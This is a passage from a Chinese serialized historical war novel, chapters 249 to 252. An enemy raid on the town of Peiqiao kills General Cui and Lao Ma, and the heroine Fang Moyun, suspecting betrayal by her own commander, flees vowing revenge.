老马本已惊慌得呼吸急促，但听到此却逐渐镇定下来，他望向崔老将军，笃定地说道：“崔老将军，你带她走，我来拦住杀手。”
崔老将军微微一笑，摇头说道：“老马，城中大变，峑戎杀手何其凶悍，你一个人拦不住的。”
老马攥紧拳头，沉声道：“那您说怎么办？”
崔老将军眼中闪过一抹坚定，沉声道：“我们先将茉云藏起来，再去营中发送信号，撑过今夜。最晚明日，援军一到里应外合，一切便可化解。”
老马点了点头，但目光望向城中传来的惨烈声音，他深吸一口气道：“可城中百姓……”
“峑戎杀手我们打了一辈子交道了，为了震慑对手，开战前，他们定会大开杀戒，就算抓到茉云，他们亦不会放过那些百姓！”崔老将军深吸一口气咬紧牙关，忿然说道：“且行军打战守城御敌，皆讲究取舍。你可知历史上为何常有弃车保帅之举？”
老马眼中猛然一亮，望向地上昏迷的茉云，明白了崔老将军的深意。他坚定的说道：“因为她能带人从头来过，只要她在，这场战就还没有输。”
“说得对！”
“好，崔老将军，你看我这把老骨头，即便上战场，又能诛杀几个敌人？但茉云，她是大将军都可信赖之人。只要她活着，定能随大将军剿灭峑戎，平定南境。何况，你说得对，大战在即，我们绝不能让卢家军，军心受挫。”
“好！”崔老将军咬紧牙关亦笃定地说道，“你去取一身你的旧衣裳，给她罩在外面，我背着她走。”
老马迅速去取衣裳，崔老将军一把背起茉云，带着老马从后门悄然离去。夜风寒冷刺骨，火光映红了天际，而他们三人的身影，匆匆隐入黑暗之中。
而就在转角之时，看见了一个熟悉的身影，崔老将军停住了脚步，防备的退后了一步……
249.悲恸
不远处传来隐隐的喊杀声，峑戎杀手已经逼近。月光洒落在地，他们的眼前忽然出现了一个熟悉的身影——苏云青。
他身穿单薄的衣服，只是披着一件斗篷，额头渗出细密的汗珠，显然是一路赶来的。他站在月光下，神色焦急，呼吸紊乱。
崔老将军猛然止步，警觉地往后退了一步，眼神如鹰般锐利地盯着苏云青。因为以崔老将军之老练，他心中知晓，忽如其来的裴桥之乱，城中一定要诈……
苏云青喘着粗气，看向崔老将军，又看见他肩上昏迷的茉云，亦满脸惊愕。
老马并没有意识到此刻的微妙，坦率地抢先开口：“苏大人，峑戎杀手来了，要杀茉云。茉云这人……她绝不可能眼睁睁看着峑戎杀人，但她不能死。所以崔将军击晕了她，我们要带她走。”
苏云青听罢，原本紧张的脸色瞬间平稳了下来，他慌张中重重松了一口气，随即点头，笃定地说道：“好，我本也是想从小道敢来通知你们。崔老将军、老马，你们带她走！我带着衙役和散兵去拦那些杀手。”
崔老将军深深地看了苏云青一眼，眼中掠过一丝复杂的神色，似乎在快速衡量什么，片刻后，他才沉沉的说道：“好。”
苏云青点了点头，毫不犹豫的正要转身离去，却听崔老将军在身后忽然说道：“苏大人，城中可有破落无人之地，可容她藏身？”
苏云青身形一顿抿紧双唇，努力让自己冷静下来思索。月光下，他微微皱眉，过了几秒，忽然抬手指向城南的方向，低声说道：“城南春雨街街尾，有一座破落的院子。据说那里老发生怪事，闹得人心惶惶，早已无人进出，门庭冷落……可否一试。”
崔老将军点了点头：“好，就去那儿。”
然而，还未等崔老将军动身，身后已经传来了杂乱的脚步声与杀手的低吼声，峑戎人已经追近，空气中弥漫着骇人的杀气。
这时，老马忽然解下背后的包袱，里面居然是一件茉云的披风，二话不说他就将其披在自己身上，系紧了带子。他抬起头，神色笃定地看向崔老将军：“崔老将军，我先去将敌人引开。”
崔老将军眉头紧锁，刚要开口，苏云青却抢先说道：“老马，我跟您一起，这附近的巷子我都熟。”
“好！苏大人，咱们走！崔老将军你也快走！”
崔老将军目光复杂地看了老马一眼，声音带着沉重说道：“老马，务必小心！”
老马没有再说话，转身快步离去，只剩披风在风中飞扬的背影。苏云青随即也紧跟着老马消失在巷子尽头。
崔老将军咬紧牙关，将昏迷的茉云背得更紧，他深吸一口气，纵身一跃，如一道流星般消失在夜色中，朝着春雨街街尾而去。
杀手的喊声离自己似乎越来越远，可是听见他们陡然激烈的喊声，他们应该是追老马他们去了，但崔老将军没有回头。他知道，无论付出怎样的代价，他都必须信守承诺，保护好茉云，因为她不仅仅是一个人，她是能牵动卢家军军心的新将，是希望，亦是未来……
他背着茉云一路疾行，月色下稍显破落地春雨街空无一人，只有微风吹拂破旧招牌的吱嘎声回荡在街上。终于，他找到了苏云青所指的那座破落的宅院。
宅院门板摇摇欲坠，墙头攀满了枯藤，一股霉腐的气息从缝隙间渗出，透着几分阴森。
崔老将军没有犹豫，背着茉云翻身跃入院内。落地的一瞬间，脚下传来枯叶和碎瓦的脆响，周围死寂无声，似乎连风都屏住了呼吸。
院中荒草丛生，四处贴满了泛黄的符咒，隐约可见符纸上模糊的笔迹和红色印记，好似在诉说这这里的诡异传闻。
他环顾四周不敢有半分松懈，最终在院落尽头找到了一间残破的柴房。柴房里散发着腐木的潮湿气息，墙角堆着几捆干草和破旧的木板，空气中还弥漫着陈年的灰尘。
崔老将军将茉云缓缓放下，小心地将她安置在柴房的角落里，他脱下自己披风，盖在茉云身上，将她裹得严严实实。
看着眼前昏迷的茉云，他的目光中透着一抹复杂的情绪，既有叹息，又有决然。他亦知道一生盛气的茉云醒来之时，不知道可否能接受现实，可是没有其他选择……
崔老将军起身扫视四周，试图寻找可以书写的工具，但四周破败不堪，根本没有任何笔墨。他随即扯下了自己里衣衣袖，咬破了自己的手指，用殷红的鲜血在布料上缓缓写下了一行字：
“茉云，峑戎杀手突至，城中危矣。你乃卢家军新将领袖，不容有失，请务必保重，城中若定，莫信他人，速往南营，与大将军汇合，重整旗鼓，切不可轻敌冒进。”
写到这里，他深吸一口气，抬手擦去额头的汗水，又用力挤出鲜血添了一行字：
“边关之军无动静，吾必亲往查明，誓死守护边疆，绝不负皇恩。卢家军中人，军魂在人在。”
写完这几句话，他看着布料上的字迹，脸上的神情渐渐平静下来。他将布料和随身一块破损的老玉放在茉云的手旁，便站起身来，目光投向柴房门外。
他知道时间不容他多做停留，他转身迈出了几步，忽又顿住，他回头看了一眼昏迷的茉云，长长地吸了一口气，再次回头，在布料的末尾添下最后一句话：
“孩子，赴死易，求生难。生者当承亡者之志，肩未竟之业，毕其一生夙愿。此后诸事，皆托付于汝。——义父字”
写完这句话后，崔老将军起身，背影多了一份决绝。他转身大步走出柴房，他自知这一去便是生死决别。走出庭院时，他回头看了一眼这座破败的小院，月光下的柴房显得格外寂静，他闭了闭眼，心中默念：“老卢帅，柳将军，若你们在天有灵，也请护佑这个孩子。”
随后，他飞身跃出庭院，身影消失在夜色中，朝着边关的方向疾驰而去。他知道，边关的将士正等着他，他身为守城主将，无论发生什么，都不能丢下将士，夜风呼啸，崔老将军的身影消失在茫茫黑夜里……
翌日，阳光终于透过残破的窗棂洒进了柴房，照亮了灰尘弥漫的角落。茉云缓缓地抬手摸了摸自己的后脑，刺痛让她的意识逐渐清醒。恍惚间，她猛然睁开了眼睛，随即一个翻身腾空而起，警惕地环顾四周。
目光落在地上，一块沾满血迹的布料和一块斑驳的玉静静地躺在柴房的地面上。
茉云弯腰拾起，目光扫过那触目惊心的血字，她的手微微颤抖，心中如雷霆炸响，瞬间明白了发生的一切。
她深吸一口气，将血书藏于怀中，迅速穿好老马的衣服，随手抓起一把灰，将灰烬抹满了脸庞与身上，将自己伪装成一介流民后，她推开柴房门，飞身出了院子。
然而，当她走到裴桥街道上时，眼前的一切令她如坠冰窟。鲜血浸
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染了街石，横尸遍野，惨状触目惊心。断裂的凶器散落一地，空气中弥漫着令人窒息的血腥气味，路边皆是亲人哀嚎的哭声。
茉云怔在原地，握紧了拳头，指甲已嵌入掌心，她却毫无察觉。
忽然，一阵急促的锣声从远处传来，惊醒了她。她迅速腾身而起，上了屋顶，踩着瓦檐轻盈而行，朝着声音的方向飞驰而去。不多时，她来到了声音传来之处——刺史府的门前，俯瞰而下的一瞬，她的身影僵住了。
府前的空地上，几具血迹斑斑的尸体被随意摆放在正中，刺眼的阳光下，老马的身影赫然在列。他穿着茉云的披风，双目紧闭，身体已经僵冷，毫无声息。茉云只觉得一阵天旋地转，昨日还在谈笑的老马如今一动不动的躺在敌人刀下……
就在此时，一阵沉重而冷凌的脚步声传来，峑戎杀手队长皮勋押着两个人走到了正中央。茉云屏住了呼吸，看见重伤的崔老将军和昏迷的苏云青被拖到众人面前。
那峑戎杀手领队之人皮勋的声音如雷般响起：“方茉云！你若再不现身，我便将这两人也杀了！”
茉云的眼中猛然爆发出一抹狠戾之光，目光如刀般锁定了皮勋。她猛踏脚尖，剑已出鞘，整个人意欲腾空而起，杀意凛然。
然而，就在这一刻，重伤的崔老将军陡然爆发出了惊人的力量，不顾一切地从杀手手中挣脱，朝着那明晃晃的刀刃直冲而去！
茉云的脚步戛然而止，她亲眼看见刀锋瞬间穿透了崔老将军的胸膛，他的身体猛地一颤，却硬生生站直了身躯。他吐出一口鲜血，抬头仰望苍天，嘶吼道：“卢家军中将，宁死不可被俘！”
话音未落，峑戎杀手的刀疯狂砍向了他的身体，鲜血如喷泉般飞溅，崔老将军却依然站立不倒。
他用尽最后一丝力气，高声喊道：“皇恩浩荡，卢家军军魂永存！我定随老卢帅和那些先走的弟兄们在天上看着你……重任交给你们！卢家军，必灭峑戎！”
话音落下，崔老将军的身体终于无力地倒入血泊之中，眼睛却依然睁着，好似还在凝视着未来。
茉云手中的剑剧烈颤抖，脚步竟停住了。她咬紧牙关，却如何也没法强行咽下这份悲痛。就在此时，皮勋狞笑着抓起了奄奄一息的苏云青，刀刃抵住了他的脖子。
苏云青艰难地睁开了眼睛，目光在血雾中如此模糊，可是突然就在这一刻好似看见了什么，他猛然故意朝茉云相反的方向，拼尽全身的力气，发出了平生最洪亮的声音，好似用尽了所有的生命。
“若你在，走——！”
茉云的手指紧握着剑柄，鲜血从掌心流下，顺着剑锋滴在瓦檐上。风中，她眼眶红得像燃烧的烈焰，却没有让一滴泪水落下，眼中只透出无尽的狠戾与漫天的悲痛。
可她知道，此刻自己只能选择活了——带着这些亡者未尽的夙愿。她最终闭上眼睛，静默的转身，将长剑缓缓收入剑鞘，从屋檐上离去，每一步都如万箭穿心。
身后，血光中，苏云青的身影渐渐倒下，传来她夫人崩溃的哀嚎声：“方茉云，你在不在，我求求你，现身吧。求求你救救我丈夫，救救这满城的百姓，不要让他们惨遭屠戮，求求你。”
茉云像是一头濒临崩溃的孤狼，一步步离开，带着可毁天灭地的怨愤，却倔强地不肯发出一丝哀鸣。
背影渐渐隐没在远方的天际……
250.至暗
任步伐再沉重，茉云逼迫自己往春雨街深处走去，血腥气弥漫在全城的街道上，她行走亦如行尸走肉般……
然而，当她经过裴桥的告示栏时，却突然停住了。
一张崭新的文书贴在告示栏的正中央，与周围血迹斑斑的景象格格不入，显得格外刺眼。
茉云目光一凝，直直地看了过去。那上面只有两个人的笔迹，笔力皆是苍劲有力，字迹却截然不同，可都是自己再熟悉不过的……
文书上面只写着一句话六个字——近日收到此信，这六个字显然是幽戎的笔迹，落笔孔武有力却笔意飘忽随意。
而往下继续看，茉云忽然瞳孔骤缩，整个人僵在原地，攥紧剑柄的手，在不受控制地颤抖。
下方贴着一封飞鸽传书信件，那字迹更是熟悉，笔力透纸，气势宏伟赫然写着——命里有时终须有，命里无时莫强求。那字迹分明是卢正啸亲笔，连他习惯的笔锋都一丝不差。
茉云的呼吸在胸腔里急促地翻腾，整个人都被寒意攫住，仿佛连四肢顷刻都失去了知觉。
这一瞬间，许多事如惊雷般炸开在脑海中——那日军中会议中，有人说事不过三，若峑戎再犯中州，朝廷定然会开战……接着她脑中闪过老马僵硬的身躯，崔老将军迸射出的鲜血，苏云青最后的呐喊，还有城中那些无辜百姓的尸体。
难道……故意用自己激怒幽戎，以自己为饵，引峑戎打裴桥，用裴桥之惨，让朝廷再也无法坐视，逼圣上对峑戎宣战！
她倏然明白了几分,心口却猛地一沉，冰冷如坠深渊。想到此，她嘴角猛地抽搐了一下，好似是笑，又像是麻木。双唇间忽然涌上一股腥甜，她却硬生生这口血咽下。
她的眼神顷刻闪现了狠戾，透着几分癫狂，好似要将这荒诞的真相随鲜血一起咽下。
“当真是我方茉云看轻了你们啊……”她嘴角扯起一抹讥讽又狠戾的笑容，“属实该死，是我活该。”
就在此时，有人因她的停驻而朝这边看来。茉云猛然收回了目光，继续朝前走去去。
此刻，她的身躯冰冷得像浸在寒潭，内心一片死寂。她越走越快，可走得再快，也摆脱不了身后那触目惊心的现实，那一行字像烙印般刻在脑海里，挥之不去。
茉云踉踉跄跄地回到了那座诡异的庭院。她推开柴房破旧的木门，几乎是拖着自己的身躯走了进去，倒在了墙角。冷风从窗缝中灌进来，掠过她的面颊，带着一股刺骨的寒意。她再也撑不住了，闭上眼，像一片残叶，无声无息地一直在坠落，沉沉地昏厥过去……
而南营之中，战鼓已响，风声却比战鼓更沉。元帅收到了盟国集梁的告急文书，情况紧急，峑戎都快要攻下集梁的都城。元帅眉头紧锁，未思索片刻，果断下令命大将军率兵增援集梁。
正啸接令后，随即转身出了营帐，便点兵带队，下令一个时辰后，必须兵甲齐整地出发。出营前，他唤来执礼，让他速去信往裴桥，看裴桥是否无恙。
执礼微愣，迟疑着说道：“少主，峑戎大军攻打的是集梁的重城益城，裴桥之地应无大碍。”
卢正啸猛然瞪眼，眉宇间燃起怒火：“我让你问便问！立刻！”
这一声怒吼宛如雷霆，众人皆被震住，帐前鸦雀无声。
片刻的寂静后，执礼低头马上恭敬地应道：“是。”
萧怀逸在一旁皱眉深深地望着卢正啸，看着他那冷冽而复杂的眼神深吸一口气。
一个时辰之后，正啸领兵出营，浩浩荡荡地向集梁赶去，众人皆知决不能让峑戎攻下集梁，否则边关之盟交皆威矣。
然而，队伍行军至半途，忽然收到一份紧急军报——裴桥告急！
信并不是裴桥发出的，却是驻守邻州的将领发来的。信中提到，他们收到了裴桥传来的告急信号……信鸽放出前，南营在裴桥周边布置的兵力都已经派遣支援了。
卢正啸握着信，目光如炬，忽然猛然转身，对着身后大吼一声：“沧海！”
声音如刀劈铁石，震得众将士心头一颤。沧海将军不敢怠慢，连忙跪下：“末将在！”
然而，还未等卢正啸下令，执礼和萧怀逸便齐齐跪下。
萧怀逸沉声道：“大将军，集梁之战，峑戎以夺先机，此战必是苦战，沧海将军乃军中骁勇之将，此刻不应分散战力，应留作收复集梁的攻城主力啊！”
执礼亦马上抱拳说道：“大将军，南营在裴桥周边布置的军力和裴桥守军定能守住裴桥的。峑戎如今的主力定然在集梁。”
话音未落，鹿里等将军也纷纷跪下，请命前往裴桥支援。营中顿时一片肃然，所有人都将目光聚焦在卢正啸的身上，等待他的最终决断。
就在这时，威行猛然向前几步，双拳抱紧，抬头喊道：“大将军，请让我去！您知道我的！我自幼与崔老将军相识，与方茉云、老马等人自中州相识更是情同兄弟姐妹，我定然会不顾一切带周边兵力去援，绝不会放弃他们！”
卢正啸目光停在威行身上，他最终缓缓点头，沉声道：“好，你去。”
威行双拳重叩地面，喊道：“多谢大将军！”
夜里，他接过军令，当夜便一骑绝尘，带着卢正啸的军令沿途集结守军力量，火速赶赴裴桥。
夜深时分，大营内渐渐平静下来。然而，卢正啸的心却如烈焰灼烧，根本无法安宁。
他独自一人走出大营，沿着营地外的小道一直走到山脚下。寒风呼啸，像刀刃般刮过他的脸颊。他站在山脚，仰头望向漫天星辰，任凭刺骨的冷风吹拂着身躯，却难以熄灭心中的煎熬。
“当日为何不拦住她……”他声音几不可闻，双拳却越攥越紧。此刻，那压抑已久的痛苦和悔意，刹那喷涌而出，他将头猛然朝身旁大树狠狠撞去！
“砰！”闷响传来，瞬间额角鲜血顺着额角缓缓流下，跟着的千山和万莫都顷刻跪了下来，吃惊的望向他。
卢正啸却依旧紧握双拳，站在原地一动不动。他闭上眼睛，像是在试图以这份疼痛来平息和惩罚自己，可心底的煎熬无法遏止。
远处，执礼与萧怀逸正朝山脚走来，本欲来寻找正啸，却被远处这一幕震住。萧怀逸正要迈步上前，却被执礼一把拉住，低声说道：“让少主一个人静一静。”
两人停在远处，没有再靠近，只是远远望着那孤独的身影。执礼紧紧攥着拳，心中默念：但愿威行赶赴裴桥能及
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时，茉云平安无事。而萧怀逸长叹一声，咬紧的牙关都在颤抖……
山脚下，寒风呼啸，血滴顺着卢正啸的额角缓缓落地，他的身影在月光下显得格外苍凉，却又透着悲壮的痛。
而此时远在裴桥的茉云，再度醒了过来，眼前已是一片如浓墨泼洒般的黑暗，伸手不见五指。柴房中隐约有草木腐败的气味，混着湿冷的霉气，令人窒息。
茉云强忍着头昏脑涨的疼痛，扶着墙壁站起身，推开了门。
院外依旧是死寂一片。她踱步到枯池旁，静静地坐下，满园的残柳枯枝在冷风中瑟瑟作响，仿佛怨魂在低声哀泣。破败的屋檐与坍塌的墙垣隐匿在深沉的夜幕之中，像一具具骸骨，透着阴森的寒意。
这座零落的庄院，似乎从每一块砖石到每一寸泥土，都浸透着一种无法摆脱的绝望与死气。
茉云靠着一块冷冰冰的大石，忽然苦笑了起来，那笑容在黑夜中几近癫狂。
昨日此时，自己还在回忆着过往半生的美好，回忆起那些所谓的温馨幸福，然而她却忘了提醒自己，这些美好是如何转瞬即逝的——这世上再没有爹娘，再没有师兄和青岚，再没有崔老将军与老马他们。
他们全都走了，走得既凄凉又干干净净，只留下她一个人，活得像个笑话。
她的苦笑渐渐变得尖锐，甚至有些刺耳，像是带着无尽的自嘲与讥讽。
方茉云啊，你真是屡教不改啊，多少次了？在这深渊里苦苦挣扎，好不容易爬出来，看见阳光，感叹人世的温暖美好，转瞬间，那暖光便化为一场嘲弄，将她再一次狠狠地推入更深的深渊。
一轮又一轮的循环，每次都让她坠得更深、更狠。
此刻绝望地目光，不禁扫过院内凄惨的景象，她忽然想起了裴桥坊间关于这座庭院的传闻，大街小巷耸人听闻，说这是一处鬼屋，可通往地狱。
“地狱！”她轻声呢喃，狠戾的光慢慢在眼底蔓延，唇角的冷笑亦越发张扬，“地狱有何可怕？那些恶鬼，都在人间啊。”
她的声音在这死寂的夜色中回荡开来，冷酷而凄厉，像一只孤鸟，在万物俱寂的夜空中发出最后的哀鸣和控诉。
而就在这一瞬间，茉云猛地站起了身。刹那间，她的身影在枯池旁如一柄被寒霜锤炼过的利剑，顷刻刺破了夜色。
她忽然冷冽地大笑了起来，天地间的死寂瞬间被撕裂开。笑声在空荡荡的庄院中回荡，枯枝败叶被夜风卷起，好似都为她的笑意而颤抖。
“我怎可忘了呢？”她低头看向自己的双手，好似能看见过往无数次的挣扎，看见那满手的鲜血与伤痕。
那些深渊，那些泥泞，那些让她痛得几乎窒息的绝望从未饶过自己。可不论多深多黑多痛，她一定会伸出这双手，血淋淋的从深渊中一步步爬出。
自己也曾问过自己，如此痛彻，为何死都一定要爬出来，因为不能放过那些将她推入深渊的人，因为该入地狱的人是他们！
“方茉云，你生来亦是地狱啊！”她那狠戾而冷冽的声音在空中回荡，是在提醒自己，亦是在对这无尽黑暗宣誓，既然如此，那便将黑暗踩在脚下，将这深渊撕成碎片，去成为他们所有人的地狱吧。
251.恶魔
茉云枯坐一夜，她需要等待一个时机……
随着东方破晓，外面的喧闹声渐渐传入耳中。她微微皱眉，隔着破旧的木门，隐约听见城内传来了百姓们的欢呼声，那声音带着劫后余生的激动。
“援军到了。”
茉云听到了百姓的声音，心中松了一口气，可眼中掠过一抹寒光……
欢呼声越发响亮，整座破败的城池似乎都因为援军的到来而重新燃起了生机。不出半个时辰，远处便传来了阵阵嘈杂的马蹄声和将士们的呐喊声。
茉云却依旧没有起身，一脸的神情淡漠，仿佛这一切与她无关。
忽然，就在这一刻，她听见了一道熟悉的声音，伴随着马蹄的疾驰在城中四处回荡：“茉云！方茉云！你在哪？快回答我！”
茉云的神色微微一顿，那声音她能听出，是她的师兄马鹏飞。
马蹄声越来越近，声音也越来越焦急。她却没有丝毫动静，只是倚着墙，睁开了眼睛，冷冷地笑了，声音轻得几乎听不见：“援军这么快就到了啊……”
她的思绪渐渐飘远，目光透过柴房的小窗望向外面那片还未完全驱散的清晨薄雾。
茉云心中很清楚，这次援军能如此迅速地赶到，绝非偶然。南营定然加强了裴桥与周边城池的紧急联动，否则不可能在这么短时间内援 军赶到，破敌入城。
而眼下这一切，必定是南营的布置。而且卢正啸居然把马鹏飞调到了裴桥旁边，马鹏飞此人，自己和卢正啸都再了解不过，他性子冲动，急于求战，若守裴桥，他很可能受到挑衅，便一时冲动带兵出击，反倒让城池失守。
但若让鹏飞带援军驰援，他却是再合适不过的人选。一旦收到军令，马鹏飞定会第一时间披甲上马，率领援军毫不迟疑地杀向战场——就像现在这般。
想到这里，茉云嘴角的冷笑越发凌冽……南营的这一番安排，也未免太未雨绸缪了吧。他就这么清楚裴桥会破，这么早早的布置了周边兵力，预测好了这一切吗？
这一切的神机妙算是不是代表——他早知裴桥将被踏破！
此时马鹏飞的声音再次传来，依旧焦急而急促，“茉云！方茉云！”
茉云却依旧没有动，只是静静地靠在角落里，嘴角微微勾起带着嘲弄的冷笑，自言自语般低声说道：“师兄，真是辛苦了我们这些棋子啊……”
一日的喧嚣后，黄昏将至，凉风吹过，裴桥再一次笼罩在悲凉的黑暗之中，似乎连夕阳都不愿触及这里。
茉云终于缓缓走出柴房，双脚踏入冰冷的地面，踩在枯枝叶上发出了轻微的声响。她抬头望向这座诡谲而荒凉的庭院，目光淡然，脸上却带着一抹灿然而凌冽的笑意。
“看你这满园的阴森和寂寥。”她低语，声音轻得像风拂过枯枝，而这座被裴桥人妖魔化的庭院，似乎也在注视着她，回以无声的黑暗与沉寂。
茉云轻轻伸手触碰到枯柳的枝干：“我不知你曾经历了什么，但谢谢你的收留。若阳光也照不到此处，那便毁灭又如何呢？”
话音未落，她猛然飞身而起，身形如风，凌厉地掠过庭院，消失在高高的屋檐之上。她在屋檐间行走，脚步轻盈如燕，夜风掠过她的发丝，带来萧索的寒意和血腥之气……
裴桥城内一片死寂，尽管援军已至，将整个城池团团守住，可是眼前满目疮痍的依旧处处是绝望。血染街石，横尸阻路，钱纸漫天，火光已照不亮回家的路……
茉云孤身站在高处静静俯视着这片残破的绝望，好似在积蓄这人世的苦痛入魂……
待夜更深，她转身趁着夜色掩护，身影如鬼魅般潜入了裴桥边关军营。一路上无人察觉，她轻而易举地避开了巡逻的士兵潜入营地的深处。
她望向营帐角落，地上躺着很多营中将士的尸首，前几日还在谈笑风生，壮志报国的他们，此刻已然离去——身上并无打斗的痕迹，他们连抗争的机会都没有，就被利刃割断喉咙……
她再往前行，帐篷内，兵士们一片寂静，营帐内有很多士兵睡成一排，但是尚有呼吸，身上亦无打斗痕迹，而营帐内传来了浓郁的草药味，旁边之人在熬着药。
药炉旁的大夫摸着胡须感叹道：“此毒，我等亦无把握啊！”
“好狠啊！”旁人亦深叹一口气：“我们也只能尽力而为之了！”
“原来是……！”茉云顷刻握紧拳头，眼中闪过一抹至寒的狠戾。
原来边关军营的守卫几乎全部被下毒，只有寥寥数人尚能清醒，但亦丧失了战力，故而清醒之人皆被敌人轻易害了，峑戎杀手才能越过边关，悄无声息的入了裴桥。
茉云站起身，冷冷地扫视着眼前的凄凉景象，攒紧的拳头在风中紧得颤抖，是谁？！是谁在营中行此毒计，又大开关门，再放峑戎杀手进城屠戮？
就在此时，一阵急促的马蹄声从营外传来，马蹄踏着地面，发出震耳欲聋的声音。茉云抬眼望去，只见一骑人马快速冲入营地，马上之人一身风尘仆仆，显然是夜以继日未曾休息。领头之人，翻身下马，来人是威行。
威行几乎是破营而入之时，便声音洪亮而急促的喊道：“传大将军军令！带领援军，不惜一切代价守卫裴桥！传令方茉云将军即刻回南营！”
他的声音铿锵有力，迅速打破了军营中的死寂。然后不到一炷香的时间，又传来了威行的怒吼声：“你说什么？峑戎大军现在集梁益城啊，他们没攻打裴桥啊！崔老将军和老马为何阵亡？茉云怎么可能不见了！”
茉云隐藏在主营外的暗处，威行的军令，她自然也听得清清楚楚——传令方茉云即刻返回南营！
“哼。”茉云轻轻地笑了，那笑容寒若彻骨，她缓缓转身，身影如鬼魅般消失在黑暗之中，“仇要一个个报，一个个都排队等着！”
她行至营外不远处的山下，在寒夜的风中，吹了一声尖锐的口哨。声音如箭，穿透夜空。
片刻后，一声急促的马嘶从远处传来，随即一道身影飞奔而来——是她的战马！
战马挣脱了所有的束缚，听到了她的召唤，径直往茉云奔去。茉云见到马儿，即刻翻身跃上马背，勒紧缰绳，化作一道黑影冲出，飞驰入茫茫苍野之中。
而边关营中，威行看见了士兵们抬来的崔老将军和老马的尸体，顿时就双腿无法支撑的跪在地上，和鹏飞两人都隐忍不住，泪水
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落了下来。
鹏飞哭喊着磕头说道;“崔老将军，我爹前几日还来信说，让我不要记挂他，说过些日子您就荣退回京，就有人陪他喝他那破酒了！”
威行顿时也泣不成声吼道：“您怎么就抛下我们，去找我爹了……崔老将军，老马啊！”
可是万念俱悲之时，威行又忽然想到……他马上起身看向搜城的士兵，失控的抓住他们问道：“方将军呢！”
“启禀龚将军，搜遍全城，没有看见方将军的……人影！”
“再去搜！”鹏飞顷刻愤怒的吼道。
“没有看见……还算好！”威行落着泪，努力使自己镇定说道，“至少茉云应该还活着，对……继续找！”
裴桥入夜的风，冷得让人窒息，仿佛能直直钻入人的骨缝中，将所有的热血冻成冰。
深夜，众人还是未寻得茉云的踪迹，营中传来急促的脚步声。一名士兵匆匆入营帐，打破了沉闷的夜晚：“将军，下午有一匹战马，挣脱了营地的束缚，冲出了城门！”
正在营帐里紧张踱步的马鹏飞，抬起头骂道：“让你找什么战马？去找方将军！”
那士兵吞了吞口水，坚持回道：“那个……有醒来的裴桥士兵说……消失的是，方将军的战马。”
此言一出，营帐内的气氛陡然凝滞，马鹏飞瞪大了双眼，满脸惊愕地问道：“她的战马忽然挣脱出营了？为何？”
一旁的威行脸色沉了下来，双眉紧蹙，深吸一口气说道：“代表茉云走了。”
鹏飞震惊地看向威行，语气中满是不可置信：“走了？她为什么要走？她为何不回边关见我们！”
威行却没有正面回答，只是摇了摇头：“我也不知为何，但她一定有自己的缘由。”
鹏飞愣住了，张了张口，却终究没再说什么，他亦知道茉云干什么亦都会有她的理由。
片刻的沉默后，威行声音低沉而笃定地说道：“鹏飞，你守住裴桥，我要回去向大将军禀报此事……有劳你准备好棺木，将崔老将军和老马还有其他阵亡将士……妥善安置。”
鹏飞深吸一口气，低声说道：“好，你放心，你明日一早便出发吧。”
威行听罢抬头看了鹏飞一眼，脸上的疲惫一览无遗。然而，他却摇了摇头，毅然决然地说道：“我即刻出发。”
鹏飞看向威行，威行却没有再回应，只是沉沉地吸了口气，不再耽搁，转身大步离开了营帐，但脚步却异常的沉重，他都不知道这个消息报给大将军，更或是传入南营之时，众人何以接受……
鹏飞站在原地，目送着威行的身影渐渐消失在黑暗中，他才缓缓低下头，长叹一口气，转身走向兵营深处，亲自安排那些阵亡将士的后事。
这一夜，寒风依旧如刀，掠过裴桥，却卷不走，那些无人可言的哀恸。
而关外的荒野，烈风呼啸，茉云的身影如一支凌厉与决绝的箭，带着刺破黑暗的箭锋和无尽的恨意，消失在无垠的天地间。
屠灭恶魔者，身亦成恶魔，可她无畏亦无谓！反而要感恩这深渊的“赏赐”，好似揭开了恶魔胸前的封印，唯有世上最恶之魔，方能践踏世间所有恶魔。
252.大战
翌日黄昏后，益城已被无尽的黑暗笼罩着，只有城外点点灯火在营帐间闪烁。
正啸在中军大帐内，刚刚布置了明日攻城地战略，几位将领纷纷领命。正啸依旧神情冷峻坐在案几旁，看着益城的布局图，眉头紧锁未曾松懈片刻。
忽然，随着门帘一掀，威行疾步走入大帐，身上满是风尘，显得异常疲惫。他神色决计没有往日的雀跃，快步走到正啸面前，忽然双膝一软，扑通一声几近瘫倒跪倒在地！
正啸原本的思绪被这突如其来的动作打断，猛然抬起头，手中的公文滑落掉在了案几上……
“威行？怎么了！”周总教头瞬间着急地问道，心中隐隐已预感到有什么不好的事情发生。
威行抬起头，脸上写满了痛苦与疲惫，他眼中噙着泪水，嘴唇颤抖着，声音沙哑得像是被刀刃划过：“裴桥……裴桥被峑戎杀手偷袭，崔老将军和老马等人……阵亡了，茉云……茉云不见了。”
正啸的脸色瞬间一变，那双向来冷静的眼眸，掠过一抹震惊与不可置信，他身体微微前倾，像是无法接受这一刻听到的消息……整个大帐内顿时陷入了一片死寂，寒风穿过帐帘的缝隙，带来一股刺骨的冰冷。
一旁的周总教头猛然一把上前抓住威行，将他从地上拉了起来，满脸愤怒声音如雷：“周边援军呢？马鹏飞呢？你说的是什么意思？裴桥怎么可能轻易被破！”
威行被拉得踉跄了一下，眼中的泪水再也控制不住，声音断断续续地说道：“裴桥的边关将士……被人下了毒……整个边关大开，峑戎杀手连夜进城……烧杀抢掠……老马披着茉云的披风，应该是为了引开杀手，被杀身亡……崔老将军……”
他说到这里，声音颤抖得几乎说不下去，但仍旧咬着牙，努力将真相一点点说出。
“崔老将军……他应该是不顾一切地回到边关，点燃了求助信号，放出了信鸽，通知周边守将马鹏飞等人来支援……才被敌军发现所擒的。第二日清晨，他被峑戎杀手压到了衙门门口逼迫茉云献身，他选择英勇就义了……”威行的声音低沉却带着难以掩饰的悲痛，每一个字都像是刀子一般刺进众人心中。
整个大帐内再一次陷入沉默，正啸双手紧握成拳，额角青筋暴起，眼中的痛苦渐渐化作浓浓的怒意。
此时站在一旁的萧怀逸，声音低哑，却带着一股压抑的怒火：“裴桥刺史呢？方将军呢？”
威行垂下头，声音更低了：“裴桥刺史此时奄奄一息……恐也撑不了多久了。而裴桥的百姓说，从头到尾……未曾见过茉云的踪影。”
这句话忽然又惊起了众人错愕的眼神，谁都知道以方茉云的习性，她是不可能不出现的，除非……
威行深吸一口气，马上继续说道：“不过，大将军……我到达裴桥后，茉云的烈马突然挣脱了营中的束缚，飞奔而去。我怀疑……可能是茉云叫走了它……她，她可能已经离开了。”
“你没有宣读大将军军令让她回南营吗？”执礼吃惊的问道。
